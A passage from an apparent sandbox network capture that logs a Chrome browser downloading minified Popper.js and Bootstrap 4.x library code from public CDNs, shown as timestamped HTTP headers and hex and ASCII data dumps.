ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:21:50 UTC	628	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:21:50 UTC	971	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:21:50 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 04/02/2024 02:05:57 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 06e0754157d6f9aec1b2420345839466 CDN-Cache: HIT CF-Cache-Status: HIT Age: 24246592 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 931c3a515aed8831-ATL alt-svc: h3=":443"; ma=86400
2025-04-17 13:21:50 UTC	398	IN	Data Raw: 37 62 65 37 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7be7/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e Data Ascii: d?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 Data Ascii: nEnd:function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 Data Ascii: ){var e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 30 5d 3b 73 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c Data Ascii: 0];s&&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._el
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 54 45 52 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c Data Ascii: TER:"mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 Data Ascii: terval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element)
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 74 29 7b 69 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f Data Ascii: t){if(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexO
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 2e 45 76 65 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 Data Ascii: .Event(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f Data Ascii: LOAD_DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="co

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:21:50 UTC	654	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:21:50 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:21:50 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.07 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/15/2024 13:11:59 CDN-EdgeStorageId: 1232 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 2594ac6f0c887eb2b7bbc5b18049c76f CDN-Cache: HIT CF-Cache-Status: HIT Age: 2509941 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 931c3a518cc953f6-ATL alt-svc: h3=":443"; ma=86400
2025-04-17 13:21:50 UTC	402	IN	Data Raw: 37 62 65 62 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7beb/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
